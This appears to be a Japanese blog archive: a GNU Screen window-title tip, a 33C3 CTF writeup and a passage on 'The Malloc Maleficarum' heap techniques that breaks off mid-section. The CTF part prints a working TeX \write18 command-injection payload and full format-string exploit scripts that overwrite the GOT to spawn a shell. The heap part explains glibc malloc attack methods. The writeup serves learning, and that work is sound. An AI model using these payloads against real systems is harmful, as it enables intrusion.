screenのウィンドウタイトルをいい感じに自動変更する方法のメモ

GNU Screenでウィンドウタイトルを

に自動変更し、非アクティブウィンドウでコマンドが終了した際にハイライトさせる方法のメモ。

ここでは、次のようにscreenrcに書いておくことで、常に各ウィンドウのタイトルが表示されている状態を想定する。

hardstatus alwayslastline "%{=r dd}%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<"

また、シェルとしてbashを想定する。

Dynamic Titlesを使う

screenでは、適当なオプションとシェルのプロンプト文字列(PS1)を設定することで

  • 普段はシェル名などの固定文字列
  • コマンド実行中はコマンド名

をタイトルに自動設定することができる。

具体的には、screenrcに次のようなコマンドを書いておく。

shelltitle "$ |bash"

|より前はプロンプト文字列の末尾、後ろはデフォルト文字列を意味する。

次に、シェルの設定ファイル(bashrc等)でプロンプト文字列を次のような感じに設定する。

PS1='\u@\h:\w\[\033k\033\134\]\$ '

\033k\033\134の部分がscreenで空のタイトル文字列を設定するシーケンスになっており、screenはこれをシグナルとしてプロンプト文字列の終端とコマンド名を判別する。 また、\[...\]は囲まれた文字列を表示上の文字数としてカウントしないことを意味する。

標準でカレントディレクトリのディレクトリ名を使う

上の方法である程度自動変更できるが、普段のウィンドウタイトルがすべてbash等の固定文字列となるため、いまいち区別が付けづらい。 そこで、デフォルト文字列をディレクトリ名に変えることを考える。 これを行うには、空のタイトル文字列を設定した直後に適当なタイトル文字列で上書きすればよい。

PS1='\u@\h:\w\[\033k\033\134\033k\W\033\134\]\$ '

\Wはカレントディレクトリのディレクトリ名を表す。

SSHしているウィンドウのタイトルをリモートホスト名にする

さらに、リモートサーバにSSHログインしているウィンドウのタイトルをそのホストのホスト名に変えることを考える。 これを行うには、環境変数STYの有無で分岐させればよい。

case "$TERM" in
     screen*)
         if [[ -z "$STY" ]]; then
             # if the shell is on the remote server, display hostname
             __set_screen_title='\[\033k[\h]\033\134\]'
         else
             # otherwise, display command name or directory name
             __set_screen_title='\[\033k\033\134\033k\W\033\134\]'
         fi
         ;;
esac

PS1="\u@\h:\w\${__set_screen_title}\\$ "

こうすることで、(自分のbashrcが使える)リモートサーバにログインしているウィンドウのタイトルを[hostname]のように変えることができる。

非アクティブウィンドウでコマンドが終了したときに通知する

非アクティブウィンドウで時間のかかるコマンドを実行している際、終了時にそれを通知させることを考える。 これを行うには、プロンプト文字列にベル文字を含めればよい。

PS1="\[\a\]\u@\h:\w\${__set_screen_title}\\$ "

このようにすることで、コマンド終了時にそのウィンドウのタイトルをハイライト表示させることができる。

完成図

すべて設定すると、次の図のようになる。

f:id:inaz2:20170114001215p:plain

0はSSH中のリモートサーバ、1はtopコマンド実行中、2はコマンド終了直後のホームディレクトリ、3は/tmpディレクトリである。

33C3 CTF 供養(Writeup)

33C3 CTFに参加。325ptで140位。

pdfmaker (misc 75)

接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> help
 Available commands: ?, help, create, show, compile.
 Type 'help COMMAND' to get information about the specific command.
> help create
 Create a file. Syntax: create TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
 The created file will have the name NAME.TYPE
> help show
 Shows the content of a file. Syntax: show TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
> help compile
 Compiles a tex file with the help of pdflatex. Syntax: compile NAME
 NAME: name of the file (without type ending)

つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> create mp x
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to x.mp.
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.

No file x.aux.
(./x.aux) )
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:48 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:48 mpJJ7pdo.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  130 Dec 28 03:48 x.tex

> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.
 (./x.aux)
)
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:49 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:49 mp9opGQm.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  158 Dec 28 03:49 x.tex
33C3_pdflatex_1s_t0t4lly_s3cur3!
> exit

exfil (Forensics 100)

pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。

とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。

$ tshark -r dump.pcap >dump.txt

$ head dump.txt
  1   0.000000 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  2   0.002197  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  3   0.203334 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  4   0.204610  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  5   0.405026 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  6   0.406228  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  7   0.613703 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  8   0.614944  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  9   0.821849 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de
 10   0.823065  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de

次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。

import sys
import re
import base64

def decode_b32(s):
    s = s.upper()
    for i in range(10):
        try:
            return base64.b32decode(s)
        except:
            s += b'='
    raise ValueError('Invalid base32')

lastdata = None
for line in sys.stdin:
    m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line)
    if not m:
        continue
    data = m.group(1).replace('.', '')
    if data == lastdata:
        continue
    lastdata = data
    data = decode_b32(data)[6:]
    if data:
        print repr(data)

リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。

$ grep -v CNAME dump.txt | python test.py >request.txt

$ head request.txt
'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n'
'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root   root   4.0K Dec 17 13:06 ..\n263'
'1209 -rw------- 1 fpetry fpetry   42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry  220 Dec 17 13:06 .bash_l'
'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry   33 Dec 17 13:24 .les'
'shst\n2627664 -rw-r--r-- 1 fpetry fpetry  675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr'
'et.docx\n2631218 -rw------- 1 fpetry fpetry  908 Dec 17 13:21 .viminfo\n'
"gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING"
": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg"
"' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: "
'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8'

$ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt

$ head response.txt
'id\n'
'ls -alih\n'
'cat > key << EOF\n'
'-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2'
'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j'
'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6'
'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD'
'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At'
'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9'
'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'

上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。

$ sha1sum secret.docx.gpg key
700216568a3819f12808bf7fffd108a0aa36acca  secret.docx.gpg
6c5309445f7857fd66b8c88128d550f8bf4c5263  key

$ gpg --import key
gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
gpg: keyring `/home/user/.gnupg/pubring.gpg' created
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported
gpg: key D0D8161F: secret key imported
gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --decrypt --output secret.docx secret.docx.gpg
gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11
      "operator from hell <team@kitctf.de>"

$ file secret.docx
secret.docx: Microsoft Word 2007+

f:id:inaz2:20161230124332p:plain

ESPR (Pwn 150)

問題文の写真から、概ね次のような処理をしていることが推測できる。

char buf[0x100];
while (1) {
    gets(buf);
    sleep(1);
    printf(buf);
}

Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601000)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)

for i in xrange(0x08, 0x60, 0x8):
    sendline(s, '%'+str(i)+'c%40$hhn')
    s.recv(8192)
    sendline(s, '%66$p')
    print s.recv(8192),
    sendline(s, '%66$s')
    data = s.recv(8192)
    got_addr = u64(data.ljust(8, '\x00'))
    print hex(got_addr)
$ python espr.py
(snip)
0x601000 0x600e20
0x601008 0x7f3fb55e1168
0x601010 0x7f3fb53d28f0
0x601018 0x7f3fb4e48550
0x601020 0x7f3fb4e62030
0x601028 0x7f3fb4ebe640
0x601030
Traceback (most recent call last):
  File "espr.py", line 23, in <module>
    data = s.recv(8192)
socket.timeout: timed out

アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。

次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。

$ ./find printf 550 gets 030 sleep 640
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64)
archive-glibc (id libc6_2.24-3ubuntu2_amd64)

$ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system
printf 0000000000056550
system 00000000000456d0

GOTのprintfをsystemに書き換え、system("/bin/sh")を呼ぶことでシェルを起動できる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601018)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192)
sendline(s, '%66$s')
data = s.recv(8192)
libc_printf = u64(data.ljust(8, '\x00'))
print "[+] libc_printf = %x" % libc_printf
libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0
print "[+] libc_system = %x" % libc_system

n = libc_system & 0xFFFFFFFF
print "[+] n = %x" % n
sendline(s, '%'+str(n)+'c%66$n')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

print "[+] got a shell!"
sendline(s, '/bin/sh\x00')
interact(s)
$ python espr.py
(snip)
0x601018
[+] libc_printf = 7f900de94550
[+] libc_system = 7f900de836d0
[+] n = de836d0
(snip)
[+] got a shell!
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls
espr
flag
run.sh
cat flag
33C3_f1rst_tshirt_challenge?!

所感

他に解きたかった問題は以下。

The Malloc Maleficarum (Bugtraq 2005)

この記事は「CTF Advent Calendar 2016」24日目の記事です。

「glibc malloc exploit techniques」では主要なmalloc系exploitテクニックについて説明したが、歴史的には他にもさまざまな手法が公表されている。 ここでは、2005年にBugtraqメーリングリストにて公表されたテキスト「The Malloc Maleficarum」についてまとめてみる。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

本文中で参照するコードは、引用箇所を除きGLIBC 2.23のものを用いる。

概要

2001年、「Vudo Malloc Tricks」「Once Upon A free()」というテキストにて、mallocで確保されるchunkのヘッダを細工することで任意のアドレスを書き換えるunlink attackが公表された。 その後3年の時を経て2004年、Ulrich Drepperによりglibcsafe unlinkingやdouble free detectionを含む複数のチェックが加えられ、unlink attackは過去のものとなった。

2005年、Phantasmal Phantasmagoria「The Malloc Maleficarum」というテキストにて、これらのチェックが加えられた後も依然として攻撃が可能であることを公表した。 タイトルは中世の魔女に関する有名な論文「Malleus Maleficarum(魔女の槌)」のもじりであり、テキストは「mallocの魔女」という体で「Primeの一族」「Mindの一族」「Forceの一族」「Loreの一族」「Spiritの一族」それぞれの手法と、「Chaosの一族」という後書きに分けられている。

2007年、K-sPecialは「.aware eZine Alpha」というテキストにて、「Mindの一族」の解説と誤りの指摘を行った。 さらに、blackngelは2009年に「Malloc Des-Maleficarum」、2010年に「The House Of Lore: Reloaded」というテキストを公表し、これらの手法についてあらためて解説と補足を行った。 ここでは、これらのテキストで補足されている内容についても説明する。

前置き

malloc/freeはヒープと呼ばれる一定のメモリ領域から、要求されたサイズのメモリを一時的に取得/返却する関数である。 mallocによるメモリ管理については、次のページがまとまっている。

要点を整理すると次のようになる。 ここではfreeされているchunkをfreed chunkと呼ぶことにする。

  • ひとつひとつの切り分けられたメモリはchunkと呼ばれ、それらを管理する領域としてarenaがある。
  • arenaにはサイズに応じた複数の種類のbinがあり、各binにはfreed chunkがリンクリストとして繋がれている。高速化のため、利用頻度の高い小さなサイズのchunkほど特別扱いされている。
    • fastbin: 0x80バイト未満のchunkがサイズごとに振り分けられる。Last-In-First-Out(LIFO)の単方向リスト。隣りがfreed chunkでも連結(consolidate)されない。
    • smallbin: 0x400バイト未満のchunkがサイズごとに振り分けられる。First-In-First-Out(FIFO)の双方向リスト。隣りがfreed chunkだと連結(consolidate)される。
    • largebin: 0x400バイト以上のchunkが対数スケールのサイズ範囲ごとに振り分けられる。ひとつのbinにサイズの異なるchunkが繋がり、サイズの大きなchunkから順にリンクリストに並べられる。隣りがfreed chunkだと連結(consolidate)される。
    • unsortedbin: smallbinやlargebinに入る前に一旦入れられる双方向リスト。mallocの際に先頭から一つずつbest-fitかどうかチェックされ、best-fitならそのままmallocの戻り値に、そうでなければsmallbin/largebinに振り分け直される。
  • 各chunkには2ワードのヘッダ、prevsizeとsizeがある。prevsizeは前のchunkがfreedな場合にそのサイズとなる。sizeは自身のサイズを表す。
  • freeされたchunkはリンクリストに繋がれ、ヘッダに続く2ワードが前後のchunkを指すfd、bkポインタとして用いられる。
  • mallocでfreed chunkがbinのリンクリストから切り離されるとき、その前後の継ぎ換え(unlink)が行われる。
    • 基本的には、前の次、次の前が自身を指すようになっているかチェックされる。
    • fastbinのみ単方向リストなため、次のchunkのサイズが適切なサイズになっているかのチェックしか行われない。
  • sizeの下位3ビットはchunkの属性を表すフラグになっている。
    • PREV_INUSE (1st LSB): 前のchunkがfreedかどうか。freedであればprevsizeが意味を持つ。
    • IS_MMAPPED (2nd LSB): mmapによって確保された(通常巨大な)chunkかどうか。
    • NON_MAIN_ARENA (3rd LSB): スレッドごとに確保されるarenaに対応するchunkかどうか。

以降の手法のうちのいくつかが目的とするところは、次のようなものである。

  • あるbinのリストの先頭を(chunkとしての制約を満たす)任意のアドレスにできれば、次のmallocでそのbinが使われるとき指定したアドレスが戻り値になる

これを実現するために、あれやこれやでbinのリストの先頭に任意のアドレスを入れようとするわけである。また、上で述べたように単方向リストで管理されるfastbinのみbinに入れる際のチェックが緩い。ここでは便宜上、直前の1ワードを適切なサイズにコントロールできる状態を指して「fastbin chunkの制約を満たす」と呼ぶことにする。

House of Prime (max_fast overwrite)

fastbin配列の境界外アクセスが可能だったことを利用する。 具体的には、fastbin[-1]でfastbinに入るchunk sizeの最大値(max_fast)を書き換えた後、fastbin[289]で実行中スレッドのarenaを指すポインタ(arena_key)を書き換える。 arena_keyがfreed chunkを指すようになるので、あらためてmallocして偽のarenaを作ることでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。

かつてのglibcでは、arena構造体のfastbin配列の直前にmax_fastというメンバがあり、fastbinに入るchunk sizeの最大値として用いられていた。 そこで、サイズを無理やり8バイトに書き換えたchunkをfreeすると、fastbin[-1] == max_fastにfreed chunkのアドレスが入り、大きなサイズのchunkもfastbinに入るようになる。 上からもわかるように、freeする際にfastbin配列の境界チェックがされていないため、大きなchunkのアドレスはfastbin配列の範囲を越えたアドレスに書き込まれることになる。

そこで、fastbin配列の後ろにあるarena_keyメンバを指すように調整した2328バイトのchunkをfreeする。 arena_keyは実行中のスレッドにおけるarenaを指すポインタとなっており、これによりarena_keyをfreed chunkのアドレスにできる。 結果、そのchunkが実行中スレッドでのarenaとみなされるようになるので、あらためてmallocして偽のarenaを作り、fastbinの箇所の値を調整することでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。

また、「Malloc Des-Maleficarum」では、NX、ASLRが無効な環境において、偽のarenaにおけるbin[0](unsortedbin)の位置にfake chunkを置くことにより、スタック上のリターンアドレスを書き換えシェルコード実行に持っていけることを説明している。

現在はfree時にサイズチェックが行われるようになり、8バイトのchunkをfreeするようなことはできなくなっている。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3871   /* We know that each chunk is at least MINSIZE bytes in size or a
3872      multiple of MALLOC_ALIGNMENT.  */
3873   if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
3874     {
3875       errstr = "free(): invalid size";
3876       goto errout;
3877     }

また、max_fastメンバの代わりにglobal_max_fastというグローバル変数を用いるように変更されており、arena_keyメンバもTLS領域に確保されるようになっている。

この手法に関連するものとしては、libcのbssにあるglobal_max_fastをunsorted bin attack等で書き換え、任意サイズのfastbins unlink attackを行う手法が知られている。

House of Mind (freeing NON_MAIN_ARENA chunk)

ヒープバッファオーバーフロー等を利用してNON_MAIN_ARENAフラグを書き換え、そのchunkをfreeすることで偽のarenaを参照させる。 さらに、偽のarenaのbinに適当なアドレスを置いておくことで、そのアドレスにchunkのアドレスを書き込む。 NXが無効であれば、chunkにjmp命令とシェルコードを置いておくことで任意コード実行に持っていくことができる、というもの。 適当なアドレスをchunkのアドレスに書き換える話なので、NXが有効な環境ではあまり役に立たない。

chunk(p)のNON_MAIN_ARENAフラグを立て、そのchunkをfreeするとarenaとして通常のmain_arenaではなく実行中スレッドのarena(heap_info->ar_ptr)を参照するようになる。 heap_infoのアドレスはp & ~(0x100000-1)(下位20ビット切り捨て)のように計算されるので、そこに適当なアドレスを置いておくとその先がarenaとして参照される。

  48 typedef struct _heap_info
  49 {
  50   mstate ar_ptr; /* Arena for this heap. */
  51   struct _heap_info *prev; /* Previous heap. */
  52   size_t size;   /* Current size in bytes. */
  53   size_t mprotect_size; /* Size in bytes that has been mprotected
  54                            PROT_READ|PROT_WRITE.  */
  55   /* Make sure the following data is properly aligned, particularly
  56      that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
  57      MALLOC_ALIGNMENT. */
  58   char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
  59 } heap_info;

ここから先はオリジナル版と、「Malloc Des-Maleficarum」で補足されたfastbin版、top連結版がある。 また、2014年に日本の一流CTF player @potetisensei公表した手法もこれに関連するものであるため、合わせて紹介する。

Original method

chunkがfastbin chunkでない場合、次の箇所でchunkがunsortedbinの先頭に挿入される。

   void _int_free(mstate av, Void_t* mem) {
      .....
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      p->bk = bck;
      p->fd = fwd;
      bck->fd = p;
      fwd->bk = p;
      .....
   }

ここで、偽のarenaのbin[0] = bckを細工しbck->fd->bkがGOTなどの書き換え可能なアドレスとなるように調整しておくことで、そのアドレスをchunkのアドレスに書き換えることができる。

現在は当該箇所が次のように修正されているため成立しない。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4026       bck = unsorted_chunks(av);
4027       fwd = bck->fd;
4028       if (__glibc_unlikely (fwd->bk != bck))
4029         {
4030           errstr = "free(): corrupted unsorted chunks";
4031           goto errout;
4032         }
4033       p->fd = fwd;
4034       p->bk = bck;
4035       if (!in_smallbin_range(size))
4036         {
4037           p->fd_nextsize = NULL;
4038           p->bk_nextsize = NULL;
4039         }
4040       bck->fd = p;
4041       fwd->bk = p;

fastbin method

chunkがfastbin chunkの場合は、次の箇所でfastbinへの挿入が行われる。

  if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) {
   if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
      {
    errstr = "free(): invalid next size (fast)";
    goto errout;
      }

    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);
    if (__builtin_expect (*fb == p, 0))
      {
    errstr = "double free or corruption (fasttop)";
    goto errout;
      }
    printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb);
    p->fd = *fb;
    *fb = p;
  }

ここで、偽のarenaのfastbins[0]を適当なアドレスにしておき、chunkのsizeを16に調整することで、そのアドレスをchunkのアドレスに書き換えることができる。

av->top NIGHTMARE

chunkがfastbin chunkでない、かつ、次のchunkがtop chunkだった場合は、freeされたchunkがtop chunkとなる。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4009     if (nextchunk != av->top) {
....
4047     }
4048
4049     /*
4050       If the chunk borders the current high end of memory,
4051       consolidate into top
4052     */
4053
4054     else {
4055       size += nextsize;
4056       set_head(p, size | PREV_INUSE);
4057       av->top = p;
4058       check_chunk(av, p);
4059     }

偽のarenaのtopを適当なアドレスにしておき、次のchunkがそのアドレスとなるようにサイズを調整することによって、そのアドレスをchunkのアドレスに書き換えることができる。

poteti method

標準で0x10000バイト以上のchunkがfreeされたとき、通常連結されない各fastbin chunkの前後を連結してunsortedbinに入れる次のような処理が走る(デフラグのようなイメージ)。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4061     /*
4062       If freeing a large space, consolidate possibly-surrounding
4063       chunks. Then, if the total unused topmost memory exceeds trim
4064       threshold, ask malloc_trim to reduce top.
4065
4066       Unless max_fast is 0, we don't know if there are fastbins
4067       bordering top, so we cannot tell for sure whether threshold
4068       has been reached unless fastbins are consolidated.  But we
4069       don't want to consolidate on each free.  As a compromise,
4070       consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
4071       is reached.
4072     */
4073
4074     if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
4075       if (have_fastchunks(av))
4076         malloc_consolidate(av);
....
4092     }
4122 static void malloc_consolidate(mstate av)
4123 {
....
4148     unsorted_bin = unsorted_chunks(av);
....
